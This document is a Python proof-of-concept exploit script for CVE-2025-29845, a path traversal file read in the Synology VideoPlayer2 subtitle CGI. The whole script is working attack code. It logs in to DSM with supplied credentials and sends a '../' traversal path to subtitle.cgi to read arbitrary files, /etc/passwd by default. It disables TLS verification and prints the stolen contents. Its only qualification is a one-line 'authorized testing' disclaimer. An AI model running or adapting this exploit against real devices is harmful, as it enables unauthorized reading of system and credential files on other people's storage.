#!/usr/bin/env python3
"""
CVE-2025-29845 PoC - Synology VideoPlayer2 subtitle CGI Arbitrary File Read
Note: This PoC is for educational and authorized testing purposes only.
"""
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit_cve_2025_29845(target_url, username, password, file_to_read='/etc/passwd'):
"""
Exploit for CVE-2025-29845: Arbitrary file read via VideoPlayer2 subtitle CGI
Args:
target_url: Target Synology NAS URL (e.g., https://192.168.1.100)
username: Valid low-privilege username
password: Password for the user
file_to_read: Path to file to read (default: /etc/passwd)
Returns:
File content if successful, None otherwise
"""
# Step 1: Authenticate to Synology DSM
login_url = f"{target_url}/webapi/auth.cgi"
login_params = {
'api': 'SYNO.API.Auth',
'method': 'login',
'version': '6',
'account': username,
'passwd': password,
'session': 'VideoPlayer2',
'format': 'sid'
}
print(f"[*] Authenticating to Synology DSM as {username}...")
try:
response = requests.get(login_url, params=login_params, verify=False, timeout=10)
auth_data = response.json()
if auth_data.get('success') != True:
print("[-] Authentication failed!")
return None
sid = auth_data['data']['sid']
print(f"[+] Authentication successful! SID: {sid[:20]}...")
except Exception as e:
print(f"[-] Error during authentication: {e}")
return None
# Step 2: Exploit the arbitrary file read via subtitle CGI
# The vulnerability allows path traversal through the subtitle file parameter
exploit_url = f"{target_url}/webapi/VideoPlayer2/subtitle.cgi"
# Encode the file path to handle special characters
# Using path traversal to read arbitrary files
exploit_params = {
'api': 'SYNO.VideoPlayer2.Subtitle',
'method': 'download',
'version': '1',
'sid': sid,
'path': f"../../../../../../..{file_to_read}",
'format': 'srt'
}
print(f"[*] Attempting to read file: {file_to_read}")
print(f"[*] Sending exploit request to {exploit_url}")
try:
response = requests.get(exploit_url, params=exploit_params, verify=False, timeout=10)
if response.status_code == 200 and len(response.content) > 0:
print(f"[+] File read successful! Content length: {len(response.content)} bytes")
print("=" * 60)
print(response.text[:2000]) # Print first 2000 chars
if len(response.text) > 2000:
print(f"... [Truncated, total {len(response.text)} bytes]")
print("=" * 60)
return response.text
else:
print(f"[-] Exploit failed. Status code: {response.status_code}")
return None
except Exception as e:
print(f"[-] Error during exploit: {e}")
return None
finally:
# Logout to clean up session
logout_url = f"{target_url}/webapi/auth.cgi"
logout_params = {
'api': 'SYNO.API.Auth',
'method': 'logout',
'version': '6',
'session': 'VideoPlayer2',
'sid': sid
}
requests.get(logout_url, params=logout_params, verify=False)
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: python cve-2025-29845.py <target_url> <username> <password> [file_to_read]")
print("Example: python cve-2025-29845.py https://192.168.1.100 admin password /etc/passwd")
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
file_path = sys.argv[4] if len(sys.argv) > 4 else '/etc/passwd'
exploit_cve_2025_29845(target, user, pwd, file_path)